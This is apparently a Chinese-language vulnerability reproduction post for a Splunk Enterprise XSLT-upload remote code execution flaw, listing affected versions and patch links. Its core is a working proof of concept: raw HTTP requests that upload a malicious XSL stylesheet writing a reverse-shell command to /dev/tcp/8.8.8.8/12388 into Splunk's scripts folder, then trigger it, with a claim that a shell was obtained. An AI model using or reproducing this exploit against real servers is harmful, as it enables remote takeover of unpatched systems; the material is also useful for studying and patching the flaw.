0x00写在前面

本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!

0x01漏洞介绍

Splunk是美国Splunk公司的一套数据收集分析软件。该软件主要用于收集、索引和分析及其所产生的数据,包括所有IT系统和基础结构(物理、虚拟机和云)生成的数据。

Splunk Enterprise 9.0.0 到 9.0.6 版本、9.1.0到9.1.1版本存在安全漏洞,该漏洞源于不会安全地清理用户提供的可扩展样式表语言转换 (XSLT),攻击者利用该漏洞可以上传恶意 XSLT,从而在 Splunk Enterprise 实例上远程执行代码。

0x02影响版本

9.0.0 <= Splunk Enterprise <= 9.0.6 

9.1.0 <= Splunk Enterprise <= 9.1.1 

Splunk Cloud < 9.1.2308

注:利用条件

具有上传权限;Splunk 未在 SHC 模式下运行

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

 POC (POST)

漏洞复现

POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1
Host: 10.211.55.3:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate
Accept: text/javascript, text/html, application/xml, text/xml, */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14405369367646981099
Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099
Content-Length: 620
Content-Type: multipart/form-data; boundary=3d5f09288540918f033268ff6bceb049

--3d5f09288540918f033268ff6bceb049
Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"
Content-Type: application/xslt+xml

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
        <xsl:text>sh -i &gt;&amp; /dev/tcp/8.8.8.8/12388 0&gt;&amp;1</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

--3d5f09288540918f033268ff6bceb049--

上传xsl文件成功

解析文件

GET /en-US/api/search/jobs/1700617012.37/results?xsl=/opt/splunk/var/run/splunk/dispatch/1700617012.36/shell.xsl HTTP/1.1
Host: 10.211.55.3:8000
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099

3.成功反弹shell

3.python脚本测试(漏洞存在)

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://advisory.splunk.com/advisories/SVD-2023-1104

https://github.com/nathan31337/Splunk-RCE-poc